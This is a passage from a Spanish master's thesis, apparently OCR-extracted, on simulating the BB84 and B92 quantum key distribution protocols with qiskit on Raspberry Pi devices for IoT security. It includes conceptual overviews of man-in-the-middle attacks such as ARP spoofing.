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Resumen

Con el avance global de la digitalizacién vivimos en un entorno repleto de objetos conec-
tados a la red, desde ordenadores y méviles hasta televisiones pasando por electrodo-
mésticos como lavavajillas. Todos estos dispositivos forman el conocido como Internet de
las Cosas, loT. Cada uno presenta una serie de vulnerabilidades que se pueden explotar

para hacer un uso indebido de estas tecnologias.

La idea tras este trabajo es establecer un marco de referencia para la implementacién de
protocolos de distribucién cuantica de claves con el objetivo de, haciendo uso de simula-
ciones de computacién cuantica, establecer unas comunicaciones cifradas entre disposi-

tivos.

Nos enfocaremos, sobre todo, en la implementacion de estos protocolos en dispositivos
de baja potencia computacional como lo son los electrodomésticos o aparatos mas sen-

cillos como enchufes inteligentes.

Se probara la eficacia de los protocolos ejecutando ataques en la red con la intencion de
detectar posibles vulnerabilidades o fallos en la ejecucién de estos algoritmos de protec-

cion.

Palabras clave: Ciberseguridad, Protocolos QKD, BB84, B92, loT, Computacién Cuantica,

Criptografia.
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Abstract

With the global advancement of digitalization, we live in an environment filled with network-
connected objects, ranging from computers and smartphones to televisions and even
household appliances like dishwashers. All these devices form what is known as the In-
ternet of Things, loT. Each one presents a series of vulnerabilities that can be exploited

in order to use these technologies improperly.

The idea behind this work is to establish a reference framework for the implementation
of Quantum Key Distribution (QKD) protocols, with the goal of, using quantum computing

simulations, enabling encrypted communications between devices of the IoT.

We will focus, above all, on implementing these protocols in low-computational-power

devices, such as household appliances or simpler gadgets like smart sockets.

The effectiveness of the protocols will be tested by executing network attacks, aiming to
detect potential vulnerabilities or weeknessess in the execution of these security algo-

rithms.

Keywords: Cibersecurity, QKD Protocols, BB84, B92, loT, Quantum Computing, Cripto-

graphy. vamos a ver esto funciona o que
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1. Introduccion

1.1. Motivacion

El internet de las cosas, conocido como loT por sus siglas en inglés, Internet of Things,
es una red global de dispositivos interconectados entre si de forma directa o a través de
la nube (TechTarget Contributor, [2023). Debemos saber que todo dispositivo que posea
un identificador propio como lo es una direccion IP estara dentro de esta red del loT. Los
objetos de la red del IoT, también llamados objetos inteligentes (IBM Corporation, 2023),
engloban desde los mas evidentes como lo son teléfonos méviles u ordenadores hasta
aparatos electrénicos que, sin necesidad de interaccién directa del usuario, comparten,
almacenan y procesan datos como lo son termostatos, cAmaras de seguridad, monitores
de glucemia o de ritmo cardiaco, hasta modelos modernos de electrodomésticos como

lavavajillas o neveras estan incluidos dentro del IoT.

Es bien sabido por todos que cualquier dispositivo que esté conectado a la red es sus-
ceptible de ser una victima de un ataque, ya sea con el fin de robar datos de cualquier
indole o con el objetivo de controlar estos dispositivos. En aparatos mas complejos como
lo son ordenadores, portatiles o teléfonos, estas brechas de seguridad estan altamente
protegidas lo que dificulta mucho los ataques a estos dispositivos. Sin embargo objetos
de funcionamiento mas sencillo como camaras de seguridad de bajo coste, routers ge-
néricos o incluso grabadoras de video con acceso a internet son mucho mas vulnerables
a todo tipo de ataques. Estos aparatos electrénicos suelen estar desarrollados con ba-
jo presupuesto por lo que la inversidon de presupuesto y tiempo en el desarrollo de su

software no es muy alta.

Este tipo de vulnerabilidad de los dispositivos del 10T fue explotada hace casi diez afios
por los creadores del malware Mirai (Krebs, |2016). Mirai generaba cadenas de nimeros
aleatorias que interpretaba como direcciones IP a las que trataba de conectarse. Se be-

neficiaba del hecho que estos dispositivos solian utilizar usuarios y contrasenas genéricos
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con lo que lograba infectar cientos de miles de dispositivos de forma simultanea creando
lo que se llama una botnet (Goel et al.,|2004). Mirai hacia uso de todos estos dispositivos
de su botnet para lanzar miles de peticiones simultaneas a un servidor objetivo, logrando
saturar el trafico que el servidor en cuestién era capaz de soportar denegando el servi-
cio de dicho servidor. Es decir, Mirai utilizaba la botnet para ejecutar ataques DDoS hacia

algun servidor objetivo (Cloudflare, [2025b).

Este es el ejemplo mas famoso de malware que se haya beneficiado de las vulnerabili-
dades del loT. Junto con el desarrollo de los objetos inteligentes también ha habido una
crecida de dos campos correlacionados. La explotacién de las brechas de seguridad des-
encadenando ciberataques y por otro lado el desarrollo de protocolos de seguridad para
evitar este tipo de problemas. En este segundo aspecto la Computacién Cuantica puede
ser de gran utilidad para la investigacion del campo de la ciberseguridad. La utilizacién
de protocolos de distribucion cuantica de claves, como lo son BB84 (M & B, |2023) es es-
pecialmente importante dado que impiden el robo de claves o contrasefias garantizando
una seguridad en la comunicacion entre dispositivos, ademas de facilitar la deteccion de

ataques.

En cuanto a las comunicaciones entre todos los dispositivos que estan presentes en lared,
formen parte del 10T o no, estas se realizan de forma encriptada utilizando protocolos de
criptografia como la criptografia RSA, de la cual hablaremos més adelante. La seguridad
de la informacion que circula por la red se basa en este encriptado, sin un cifrado de los
mensajes cualquier dispositivo podria interceptar la informacion y leerla. De esta forma,
los paquetes se pueden seguir interceptando, pero no existe una forma sencilla de desci-

frarlos sin conocer la clave.

Aun asi existe un punto crucial en estas comunicaciones, la fase del establecimiento de
la clave. Esta clave de seguridad para cifrar y descifrar mensajes se debe establecer antes
de poder compartir informacién. Por lo que un atacante podria interceptar esta clave
mientras la estdn compartiendo los dos interlocutores y, de esta forma, en el momento

que quieran compartir informacion, aunque este encriptada, el atacante podria leer todos
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los mensajes.

Aqui es donde entran en juego los protocolos de distribucion cuantica de claves, QKD
(TechTarget,[2025), de los que hablaremos mas en profundidad en posteriores capitulos.
Estos protocolos utilizan las reglas de la computacién cuantica para lograr establecer, de
forma completamente segura, una clave para poder cifrar los mensajes. Como veremos,
este tipo de protocolos de seguridad aseguran que si se produce un ataque como el que
hemos descrito antes, el atacante trata de interceptar la clave mientras se esta estable-
ciendo, este sera facilmente descubierto y la propia ejecucién del protocolo detecta si el
canal de comunicacién esta, o no, comprometido. Pudiendo generar, asi, una comunica-

cion completamente segura asegurando la privacidad total de la clave.

Por otro lado, el uso de la computacién cuantica permite evaluar correctamente el com-
portamiento de las redes interpretando los dispositivos como nodos potencialmente in-
fectables dentro de una red. De esta forma se pueden utilizar algoritmos cuanticos para
comprobar sobre que nodos seria mejor aplicar defensas en la red. Ademas, la compu-
tacién cuantica es especialmente (til a la hora de simular sistemas complejos, por lo que
se podria simular el comportamiento de las botnets y mejorar la capacidad de deteccién

de ataques para poder frenarlos de inmediato.



2. Contexto y estado del arte

Practicamente en todas las funciones que realiza un ordenador, la criptografia esta in-
volucrada (IBM, [2024). Necesitamos que las comunicaciones que se realizan a otros dis-
positivos, tanto de forma publica como privada, enviar un correo electrénico, o realizar
una peticién a un servidor web, estén protegidas de forma que un ciberdelincuente (Uni-
versity, 12024), un intruso en la red, no pueda leer tus correos o utilizar tu ordenador de

forma remota con el fin de realizar acciones ilicitas.

A dia de hoy, existe un estandar en cuanto a protocolo de ciberseguridad. El sistema que
mas se utiliza en todo tipo de comunicaciones digitales se conoce como la Criptografia
RSA (CertSuperior, [2024), llamada asi por las iniciales de sus creadores, Ronald Rivest,
Adi Shamir y Leonard Adleman. Este sistema se basa en un encriptado por clave asimé-
trica. A diferencia de las claves simétricas, donde se utiliza la misma clave para encriptar
y para desencriptar un mensaje, las claves asimétricas utilizan dos claves diferentes, una
clave publica usada para codificar los mensajes enviados y una clave privada usada para

descifrar los mensajes codificados con la clave publica correspondiente.

Estas dos claves estan relacionadas entre si de forma matemaética. En el caso del pro-
tocolo RSA, la seguridad de las claves se basa en el problema de la descomposicién de
ndmeros en sus factores primos. Para nimeros pequenos el sistema seria muy vulnera-
ble y cualquier ordenador podria descifrar cualquier mensaje encriptado. Sin embargo,
para nameros grandes, el problema de descomponer en factores primos es computacio-
nalmente complejo e inviable de romper debido a la gran cantidad de recursos y tiempo
que se necesitaria, por lo que el hecho que las claves en el sistema RSA estén compuestas

por mas de 2000 bits hace que este sistema sea tan seguro en la practica.

Sin embargo, con la llegada de la computacién cuantica este tipo de protocolos de se-
guridad se pueden romper facilmente con algoritmos como el de Shor (1994). Para un
ordenador cuantico, el descomponer un numero grande en sus factores primos no supo-

ne un problema. Por lo que en este escenario, un ciberdelincuente con acceso a este tipo
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de tecnologias podria acceder a cualquier sistema de forma sencilla.

Vemos que con el avance de la tecnologia cuantica, los sistemas son vulnerables con los
protocolos de seguridad que hay implementados hoy en dia, es por esto que es necesario
crear otro tipo de sistemas y filtros de seguridad que sean capaces de proteger frente a
ataques cuanticos. Aqui es donde entra en juego el campo de la criptografia cuantica. Alo
largo de los ultimos afos se han desarrollado diversos protocolos de seguridad cuantica
que son capaces de proteger las comunicaciones entre dispositivos. Cada uno tiene una
secuencia de pasos al igual que unas fortalezas y debilidades diferentes que explicaremos

en el siguiente apartado.

2.1. Estados de un cubit

Debemos recordar que a diferencia de un bit clasico, el cual solo puede estar en dos
estados 0 0 1 de forma independiente. Un clbit se puede encontrar en los estados |0), |1)
o una combinaciéon de ambos, en un estado mezcla. A lo largo de los distintos protocolos
de seguridad los cubits se codifican en dos estados mezcla diferentes |[+) y |—), que estan

relacionados con los estados |0) y |1) de la forma que podemos ver en[2.1]y[2.2]

1 1

|+>:ﬁ(|0>+|1>) ; |—>=\@(|0>—|1>) (2.1)
1 1
10) = NG (+1=) 5 1H= NG (> =1-)) (2.2)

Cada estado se puede representar como un vector complejo que se puede mostrar de

forma visual en una esfera de Bloch, segiin podemos ver en la Figura|2.1

De esta forma los estados |0) y |1) son respectivamente los estados 0y 1 codificados en el
eje Z, al igual que los estados |+ )y |—) son respectivamente los estados 0 y 1 codificados
en el eje X. Por este motivo, en funcién del eje que se utilice para codificar el clubit se

creara un estado u otro, siguiendo las relaciones del Cuadro[2.1]
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Figura 2.1: Estados |0) (Rojo), |1) (Azul), |+ ) (Verde) y |—) (Amarillo) representados en la
esfera de Bloch. Fuente: Elaboracion propia.

10)

Cuadro 2.1: Estados finales tras polarizar cada bit en su eje correspondiente.

Bits
Ejes 0 !
X +) [ =
z 0 |11

Por otra parte, a la hora de medir un cubit obtendremos como resultado un bit clasico
en 0 o en 1. Si medimos un cubit en el mismo eje que se ha codificado obtendremos un

resultado asegurado, siguiendo, al igual que para la codificacion, las relaciones del Cuadro

21

Sin embargo, si codificamos en un eje y tratamos de medirlo en el eje diferente, el clibit
colapsara a uno de los dos estados que componen al estado original y mediremos0o 1a
consecuencia. Por ejemplo, codificamos en el eje X el estado |+) y medimos en el eje Z.
El cubit colapsara al uno de los estados |0) o |1) y mediremos 0 o 1 respectivamente. De
la misma forma, si codificamos un estado |0) en el eje Z y medimos en el eje X, el cubit

colapsara al uno de los estados |+) o |—) y mediremos 0 o 1 respectivamente.

Una vez conocidas las posibles codificaciones y mediciones de los cubits involucrados en
los protocolos, en el siguiente apartado explicaremos cdmo se ejecutan dichos protocolos

de seguridad.
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2.2. Protocolos de seguridad cuantica

2.2.1. Protocolos QKD

Hemos visto que con la llegada de la computacién cuantica, la seguridad informatica tal
y como la conocemos hoy en dia es muy vulnerable. Un intruso en el canal podria inter-
ceptar la clave en el momento que se establece y asi ser capaz de poder descifrar todos
los mensajes que atraviesen dicho canal. En el caso de un protocolo como RSA requeriria
también realizar unas operaciones matematicas que, con un ordenador convencional no
son viables pero, con un ordenador cuantico, se resolverian de forma sencilla. En este
escenario es donde entran en juego los protocolos de Distribucién Cuantica de Claves o

QKD, por sus siglas en ingles, Quantum Key Distribution (TechTarget, 2025).

Los protocolos QKD no se basan en complicadas operaciones matematicas. La seguridad
de estos protocolos recae sobre las mismas leyes de la naturaleza y, en concreto, la meca-
nica cuantica. Utilizan la computacion cuantica para generar una serie de bits aleatorios

y poder enviarla a través de un canal cuantico codificada en un listado de cubits.

Los cubits, al ser sistemas cuanticos, poseen dos cualidades por las que en caso que el
canal se vea comprometido por la existencia de un intruso este es muy facilmente detec-

table y por tanto el protocolo es completamente seguro.

Supongamos un escenario en el que dos interlocutores, Alice y Bob tratan de establecer
una comunicacion entre ellos y existe un intruso en el canal Eve que trata de interceptar
todos los mensajes que Alice envia a Bob para luego reenviarlos. En este escenario, Eve
podria leer todos los mensajes sin ningln tipo de problema, por ello Alice y Bob ejecu-
taran un protocolo QKD para establecer una clave entre ellos de tal forma que todos los
mensajes estén cifrados y Eve no sea capaz de leerlos. Sin embargo, si Eve intercepta los

cubits en los que esta codificada la clave no sera capaz de leerla con seguridad.

x Por un lado si Eve trata de leer los cubits, es decir, medirlos, provocara que colap-

sen y modificAndolos de tal forma que Alice y Bob seran conscientes que existe
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un intruso en su canal. Este hecho lo explicaremos mas en detalle en el siguiente

apartado.

+ Por otro lado, si Eve trata de copiar el clbit hasta que sepa con certeza cdbmo debe
medirlo para poder conocer la clave, comprobara que no es posible. Gracias al Teo-
rema de No Clonado (Jaume Lépez, 2004), no es posible copiar un estado cuantico

a otro sin manipular el estado original.

Debido a estos dos factores, independientemente que Eve intercepte la clave no podra
leerla sin ser detectada por lo que este tipo de protocolos son completamente seguros

para establecer una clave privada para cifrar los mensajes en las comunicaciones.

Existen diferentes protocolos QKD que permiten esta generacion de claves como, por

ejemplo, el protocolo BB84 y el B92, de los que hablaremos en los siguientes apartados.

2.2.2. BB84

El reconocido como primer protocolo de seguridad cuantica dentro de este campo es el
protocolo BB84, llamado asi por el afio de su creacién y por sus dos creadores Bennett y

Brassard (1984).

Este protocolo esta basado en el siguiente escenario, dos interlocutores, que llamaremos
Alice y Bob, que se comunican a través de un canal cuantico, como puede ser una fibra
Optica por la cual emiten fotones polarizados. Estos fotones son los que transmitiran la
informacion que quieran enviar entre ellos. Ademas, para ejecutar este protocolo, nece-
sitardn un segundo canal de comunicacién, este no debe ser, necesariamente, cuantico,
como puede ser ondas de radio o internet. Haciendo uso de este sistema, usando el pro-
tocolo BB84 se logra crear una clave secreta para codificar los mensajes, completamente

segura frente a posibles ataques de un intruso en la red (Eve).
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Pasos de ejecucion de BB84

Para poder encriptar los mensajes enviados haciendo uso del protocolo BB84 se deben

seguir los siguientes pasos, que veremos resumidos en el diagrama de la Figura (2.3

1. Alice generara una serie de bits clasicos de forma aleatoria de longitud previamente

acordada. Por ejemplo
keYA:[O 10011010 ... (2.3)

2. Una vez elegida la serie de bits, Alice codificara estos bits dentro de una serie de
cubits, que seran fotones polarizados, en funcién de un eje arbitrario que Alice
puede elegir para cada clbit entre los ejes X y Z.

Si, por ejemplo, Alice elige los ejes:
axisA:[Z Z X Z X X X Z Z ] (2.4)

Siguiendo las relaciones del Cuadro[2.1]obtendremos la siguiente clave codificada:

gkeya=[|0) 11 [+ [0) |- = [ [ 0 ...] @5

3. Tras codificar la clave, Alice, envia esta serie de clUbits a Bob, el cual los recibe y los
debe medir, cada uno de ellos, eligiendo de forma aleatoria las bases en que los
medird. Debemos tener en cuenta que Bob no sabe que ejes ha elegido Alice para
cada cubit por lo que puede elegir un eje diferente de forma que si el cubit original
se encontraba en estado |0), él puede medirlo en el eje contrario provocando que
el ctbit colapse a alguno de los otros dos estados |+) o | —). En caso que Bob acierte
con el eje, el cubit medido, no cambiard en comparacion al original.

Supongamos que Bob elije la siguiente serie de bases:

axisp=\7 X 7 X X Z X 7 X ... (2.6)
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Dado que algunos ejes coinciden y otros no en comparacién a la seleccién de Alice

para codificarlos Bob medira los siguientes resultados para la clave:
qkesz[o 01010010 ... (2.7)

4. Una vez medidos, tanto Alice como Bob hacen publicos la lista de ejes que han
utilizado para la medicion, no el resultado de la misma, de forma que ambos des-
cartaran aquellos cubits que se hayan codificado y medido en ejes diferentes de
forma que mantendran los que saben que el cubit original enviado y el recibido
son el mismo estado.

Cuadro 2.2: Comparacion de las bases elegidas por Alice y Bob, marcados en negrita los
€asos en que coinciden.

x| N
X| X
N| X<
x| X
N| N
x| N

5. En este momento Alice y Bob criban sus respectivas listas de bits quedandose sélo
con aquellos en los que ambos han utilizado la misma base tanto para codificar el
cubit como para medirlo. Es aqui cuando deben comparar una serie de bits y revi-

sar que coinciden ambas listas de control.

Si alguno de los bits no coinciden entre la emision y la recepcion seria un indicativo
gue un agente externo, Eve, ha manipulado los cubits durante la comunicacién por
lo que el canal estaria comprometido. Por la naturaleza cuantica de los cubits, si
Eve mide en un eje distinto al que Alice ha codificado el clbit, estaria destruyendo
el estado original y generando uno nuevo en el eje que esta midiendo y que, pos-
teriormente, cuando Bob mida de nuevo en el eje correcto, destruira el estado que
ha generado Eve y volvera a generar un estado en el eje original de forma aleatoria
entre los dos posibles. Este escenario lo podemos ver de forma sencilla en la Figura

2.2

10
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Figura 2.2: Diagrama de evolucion en caso que haya un intruso en la red. Fuente: Elabo-
racion propia.

Alice Eve Bob
Ejes elegidos 7 — =————> X —_— Z

Qubit medido [0) =—> @ |+) — 1)

Bitdelaclave 0 > 1

En el momento que alguno de los dos se de cuenta que el canal estd comprometido
deberian abortar el protocolo y comenzar de nuevo, hasta que logren establecer

un canal de comunicacién seguro.

6. En el momento que Alice y Bob estén completamente seguros que tienen una ca-
dena de bits que no ha sido interceptada podran usarla como clave para encriptar
y desencriptar los mensajes que se envien entre ellos con la certeza que Eve no

podra desencriptarlos aunque los intercepte.

En la herramienta creada porQuTech (2024) se puede observar de forma interactiva la
ejecucion del protocolo BB84 en la comunicacién establecida entre dos nodos en distintas

redes que puede seleccionar el usuario.

11
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Figura 2.3: Diagrama de ejecucion del protocolo BB84. Fuente: Elaboracion propia.

PROTOCOLO BB84

ALICE

GENERA UNA SECUENCIA DE BITS ALEATORIA:

010011010

ELIGE EJES PARA CODIFICAR CADA CUBIT:
ZZIXZXXXZZ

CODIFICA LOS CUBITS:
[0} 11+ 10} 1) 1) 1+) 11} |0)

ALICE ENVIA LOS CUBITS CODIFICADOS

BOB

ELIGE EJES PARA MEDIR LOS CUBITS:

ZXZXXZXZIX

REALIZA LA MEDICION DE LOS CUBITS:

001010010

ALICE Y BOB COMPARTEN LOS EJES USADOS EN LA CODIFICACION Y MEDICION

AMBOS CRIBAN SUS LISTADOS DE BITS EN FUNCION DE LAS COINCIDENCIAS EN LOS EJES USADOS

COMPARTEN UNOS BITS DE CONTROL PARA ASEGURAR LA PRIVACIDAD

EN CASO DE COINCIDENCIA HABRAN GENERADO
UNA CLAVE PRIVADA PARA CIFRAR SUS COMUNICACIONES
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2.2.3. B92

Por contra, el protocolo B92 surge como mejora del algoritmo BB84 por parte de uno de
sus desarrolladores, Bennett (1992). Este algoritmo simplifica la ejecuciéon de su antece-
sor BB84. Al igual que anteriormente los dos interlocutores Alice y Bob se comunicaran a
través de un canal cuantico asi como un segundo canal auxiliar clasico y publico. Durante
la ejecucién de este protocolo, Alice enviara cubits codificados en dos estados posibles
en ejes diferentes para que Bob, al recibirlos, los pueda medir y generar asi una clave se-
creta (Guillén & Gasca, [2006). A diferencia de BB84, en este protocolo no se comparten

las bases utilizadas en la codificacién y medicion.

Pasos de ejecucion de B92

Para poder generar una clave secreta haciendo uso del protocolo B92 se deberan seguir

los pasos siguientes, que veremos resumidos en el diagrama de la Figura|2.4

1. Alice generara una serie de bits clasicos de forma aleatoria. Por ejemplo:

keya=10 1 0110100 ... (2.8)

2. En cuanto Alice haya generado esta serie de bits aleatorios los codificara dentro de
una serie de cubits. Si el bit de la clave es un 0 enviara el estado |0), por el contrario

si el bit es un 1 enviara el estado |+ ). Por lo que la clave codificada queda como:
qheya = [I0> [+ 10 [+ [ 10) [+ [0y [0y ... (2.9)

3. Tras codificarlos, los enviara a través del canal cuantico a Bob el cual en cuanto los
reciba debera medirlos eligiendo de forma aleatoria entre dos bases de medicién Z

o X. En el momento en que Bob mida los clbits existen cuatro escenarios posibles:

13
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*

Se elige la base Z y se mide 0

*

Se elige la base Z y se mide 1

*

Se elige la base X y se mide O

*

Se elige la base Xy se mide 1

4. A partir de estas mediciones, Bob puede cribar la clave que ha medido siguiendo la
siguiente logica: Al utilizar la base Z y medir 0, el cubit original puede haber esta-
do en estado |0) o puede haber estado en estado |+ ) y haber colapsado a O en el
momento de medir. De la misma forma, al usar la base Xy medir 0, el ctbit original

puede estar en estado |+) o haber colapsado desde el estado |0).

Por esto mismo a Bob solo le interesara los casos en que haya medido el bit en 1.
Si ha elegido la base Z esta medicion solo ha podido llegar del colapso del estado
|+) por lo que el bit original de Alice era un 1. Andlogamente, en el caso de haber
elegido la base X y medir el bit en 1 este resultado solo ha podido llegar del colapso

desde el estado |0) por lo que el bit original de Alice era un 0.

De esta forma Bob seleccionara aquellos cubits de los que haya obtenido una me-
dicién en estado 1y construira una lista de bits como clave a consecuencia descar-
tando aquellas mediciones confusas que ha podido realizar. Supongamos que Bob

ha utilizado las siguientes bases:

axisB:[z X Z Z X X 7Z X Z ] (2.10)

Y obtiene los siguientes resultados:

measuresBz[O 1 0011101 ] (2.11)

Bob guardara cuéles son los cubits que ha seleccionado y la clave que ha generado

14
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tras la medicion:

indicesp = [2,5,6,7,9...] (2.12)

keyp = [0 0011 } (2.13)

5. A continuacion Bob envia a Alice Gnicamente la lista de indices de los bits que han
superado la criba. Y este nuevo listado sera el que se utilice como clave secreta para

encriptar y desencriptar los mensajes.

6. Al igual que en el protocolo anterior Alice y Bob deberan comprobar una serie de
bits de control para corroborar que no ha habido ninglin ataque del tipo Man in the
Middle, MitM, durante la ejecucién del protocolo. En caso de confirmar que han
sido espiados por un tercer interlocutor deberan reiniciar el proceso de generacion

de clave hasta que estén seguros que la clave es totalmente secreta.

15
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Figura 2.4: Diagrama de ejecucion del protocolo B92. Fuente: Elaboracion propia.

PROTOCOLO B92

ALICE BOB

GENERA UNA SECUENCIA DE BITS ALEATORIA:
010110100

CODIFICA LOS CUBITS:
[0} 1210 1+} [+ 10} [+) |0} |0}

ALICE ENVIA LOS CUBITS CODIFICADOS

ELIGE EJES PARA MEDIR LOS CUBITS:
ZXZZXXZXZ

REALIZA LA MEDICION DE LOS CUBITS:
010011101

GUARDA LOS iNDICES EN QUE HA MEDIDO 1:
2,5,6,7,9

GUARDA LA CLAVE PROVISIONAL:
00011

BOB ENVIA EL LISTADO DE INDICES QUE DEBE MANTENER ALICE

CRIBA LA LISTA DE BITS CON LOS iINDICES RECIBIDOS

COMPARTEN UNOS BITS DE CONTROL PARA ASEGURAR LA PRIVACIDAD

EN CASO DE COINCIDENCIA HABRAN GENERADO
UNA CLAVE PRIVADA PARA CIFRAR SUS COMUNICACIONES
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2.2.4. BB84 vs B92

En la utilizacién del protocolo B92, al usar clbits en tan solo dos polarizaciones posibles
en lugar de cuatro como hace el protocolo BB84 se reduce la cantidad de recursos ne-
cesarios que se requieren a nivel experimental para la implementacién. Ademas, dado
que Alice no necesita generar una lista de bases en las que codificar cada cubit sino que
simplemente los codifica en una polarizacién u otra en funcién del valor del bit clasico ori-
ginal, se reduce tiempo de ejecucién del protocolo dado que requiere ejecutar un paso

menos en comparacién a BB84.

Esto convierte a B92 en un protocolo ideal para implementarlo dentro de un contexto de
dispositivos del loT dado que estos dispositivos suelen tener, por lo general, una cantidad
reducida de recursos computacionales por lo que protocolos y algoritmos mas complejos
son mas dificiles de implementar. Sin embargo, cabe recalcar que por la construccién de
B92 el ratio de aprovechamiento de los clbits es menor, dado que tras el cribado que
realiza Bob al medir Gnicamente sobreviven un cuarto de los cubits de la clave original
frente a BB84 donde quedaba la mitad de la clave original tras la criba. Las diferencias

entre ambos protocolos de seguridad las podemos ver resumidas en el Cuadro[2.3]

Por estas razones se ha elegido el protocolo B92 como el que usaremos en el desarro-
llo del proyecto y ejecutaremos, como veremos en el préximo capitulo en el desarrollo

experimental de este trabajo.
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Cuadro 2.3: Tabla comparativa entre los protocolos BB84 y B92

Protocolo BB84 Protocolo B92
4 posibles estados para cada cubit: 2 posibles estados para cada cubit:
10, (1), [+), =) 0, [+)
Necesidad de comparacion de las bases No es necesario compartir las bases.
usadas en al codificacién y medicion. para la ejecucion del protocolo.
La criba descarta ~50 % Tras la criba solo sobreviven ~25 %
de la clave original. de los bits originales.
Mayor eficiencia de generacién de claves. Menor eficiencia de generacion de claves.
Requiere mas recursos para la implementacion. Necesita muchos menos recursos
gue otros protocolos.
Mayor tolerancia a errores. Mayor sensibilidad al ruido.
Mayor posibilidad de detectar intrusos. Deteccion de intrusos menos eficiente.
Mayor seguridad del protocolo. Menor seguridad del protocolo.

2.3. Ataques tipo Man-in-The-Middle

Cuando hablamos dentro de la seguridad informatica, la presencia de Eve se suele tratar
como la existencia de un tipo de ataque llamado MiTM (Man-in-The-Middle), o ataque de
intermediario, (Keeper Security, Inc.,[2023). Este tipo de ataques consiste en que el ata-
cante se sitUa entre los dos interlocutores principales e intercepta los datos que se estan
enviando entre si con el fin de recaudar toda la informacién posible o incluso manipular

la informacion original antes de que pueda llegar a su destinatario.

Existen diferentes tipos de ataques MiTM en funcién de la situacion presente aunque los

mas tipicos son:
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Figura 2.5: llustracion sobre la presencia de un ataque MiTM

2.3.1. Infeccién de redes publicas

Debemos saber que las redes WiFi publicas, por norma general no estan construidas de
forma segura por lo que cualquier atacante presente en la red puede visualizar todo el
trafico de informacién dentro de la red y recaudar toda la informacién que necesite, pu-

diendo hasta interceptar informacién personal o contrasenas.

Herramientas como Wireshark (The Wireshark Foundation, [2023) permiten escanear la
red a la que esta conectado tu mismo dispositivo y escanear, leer y guardar toda la infor-

macién que circula a través de la red.

2.3.2. Suplantacion de ARP

Todos los dispositivos dentro de una red tienen asociadas dos direcciones. Por un lado
existe la direccion IP(ADSLZone, 2023) donde aparece representada la direccion del dis-
positivo dentro de lared y subred, esta direccion es variable con el tiempo. Y por otro lado
esta la direccion MAC(DataScientest, [2023), que se trata de un identificador fisico Unico
que dan los fabricantes a la tarjeta de red del dispositivo, el cual es fijo para el mismo

dispositivo.

A partir de estas dos direcciones las redes se construyen alrededor de lo que se conoce
como Tablas ARP. Los protocolos ARP(Address Resolution Protocol) conectan las direc-

ciones IP de los dispositivos con sus respectivas direcciones MAC. En el momento de un
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envio de paquetes, el emisor envia el paquete dirigido a una direccion IP en concreto y,
usando estas tablas ARP, consigue hacer el envio de la informacion al dispositivo fisico
asociado a dicha direccion. En estos protocolos la informacion va dirigida directamente a

su destinatario por lo que interceptar paquetes no es tan sencillo.

Sin embargo, un atacante infiltrado en la red podria modificar estas tablas ARP de tal for-
ma que asocie las direcciones IP de los dispositivos a los que quiera atacar con la direccion
MAC de su propio dispositivo. De tal forma que todo el trafico de la red se redirecciona

primero a su dispositivo antes de que él lo reenvie a su destinatario finalmente.

2.3.3. Suplantacion de identidad

La forma mas sencilla, quiza, de ejecutar un ataque MiTM seria la suplantacién de identi-
dad. El robo de cuentas y el acceso directo a la informacién personal por parte del atacan-
te le permite poder recaudar toda la informacién que necesite sin necesidad de redirigir
el trafico de los paquetes en la red ni de realizar ningln tipo de escaneo. Por esto mis-
mo todo usuario debe proteger al maximo con el uso de contrasefas seguras sus cuentas

donde puedan almacenar algun tipo de informacién de interés.
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3. Objetivos

3.1. Objetivo principal

El objetivo principal de este trabajo es la de crear un entorno de Internet de las cosas
Cuantico, QloT, que permita una comunicacién segura entre dispositivos del loT utilizan-
do servicios de computacion cuantica en la nube. Podemos hacer uso de entornos como
qiskit y simuladores de computacion cuantica como qiskit_aer para implementar los pro-

tocolos QKD comparandolo con soluciones existentes actualmente.

Hoy en dia existen empresas que ofrecen servicios de seguridad para proteger los dis-
positivos detectando posibles vulnerabilidades y ataques que provengan de la red como
lo es, por ejemplo, Cloudflare (2025a). Este tipo de servicios actiian como un filtro en la
comunicacion entre dos dispositivos, como lo son un teléfono y un servidor web. Trata-
remos de utilizar las distintas propiedades de la computacion cuantica para mejorar la
seguridad en la red de los dispositivos pertenecientes al 10T, en especial a los dispositivos
de baja potencia como lo pueden llegar a ser luces que funcionan con WiFi o enchufes

inteligentes.

Por otro lado investigaremos los distintos productos y soluciones, de distintas empresas
e investigaciones, que existen hoy en dia en el mercado, en relaciéon a la implementacién
de este tipo de tecnologias cuanticas de cara a crear un internet cuantico de las cosas,

QloT.
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3.2. Objetivos secundarios

Para el cumplimiento del objetivo principal establecemos los siguientes objetivos secun-

darios:

1. Aplicar protocolos QKD adaptandolos a dispositivos de baja potencia.
2. Comparar las soluciones cuanticas con la seguridad clasica actual

3. Simular la ejecucién del protocolo B92 para generar una clave secreta para la co-

municacién de dispositivos como Raspberry Pi.
4. Ejecutar ataques MitM para evaluar la seguridad de los protocolos.

5. Estudiar las soluciones actuales que existen para poder implementar en el futuro

redes domésticas cuanticas
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4. Desarrollo del trabajo

Para poder implementar el protocolo B92 se ha utilizado dos Raspberry Pi del modelo 3B
(Raspberry Pi Foundation, 2016). Este dispositivo no es mas que un ordenador que, por
sus dimensiones, sus caracteristicas técnicas lo hacen ideal para simular la implementa-

cion de estos protocolos en dispositivos de baja potencia del loT.

Para poder manejar los datos que se han tratado en estos dos dispositivos, se ha necesi-
tado instalar un sistema operativo, que, por compatibilidad en cuanto a los recursos que
tienen las Raspberrys, se ha utilizado el sistema operativo Raspberry Pi OS (Raspberry
Pi Foundation, [2025). Se trata de una distribucién del sistema GNU/Linux basada en la

distribucion Debian (The Debian Project, 2025).

Ha sido necesario, ademas, para poder realizar este montaje experimental, en ambas
Raspberry Pi, instalar las librerias de giskit (IBM Quantum, |2025) y qiskit_aer (Qiskit De-
velopment Team, 2025) para poder simular la codificacién y medicion de gbits a lo largo

de la ejecucion de B92.

Por otro lado, por sencillez en la utilizacion y ejecucién del cédigo, se han utilizado dos
scripts que vemos en las figuragd.2a|y [4.2b por lo que podremos utilizar los comandos
/alice.sh y ./bob.sh en las respectivas terminales para poder ejecutar todo el cédigo

correctamente.

Dado que es una simulacién y no se esta trabajando con gbits reales debemos simular
de forma clasica el envio de los gbits por parte de Alice hacia Bob. Esto se ha realizan-
do enviando no los gbits sino los vectores estado de cada uno. A continuaciéon Bob ha

reconstruido los gbits a partir de estos vectores para poder medirlos.

El cédigo completo de la ejecucién del protocolo B92 tanto por parte de Alice como por

parte de Bob lo podemos ver en los anexosl|i]y [ll|

23



Implementacion de protocolos cuanticos Raul Martinez Pavon
de seguridad en dispositivos loT Master en Computacion Cuantica
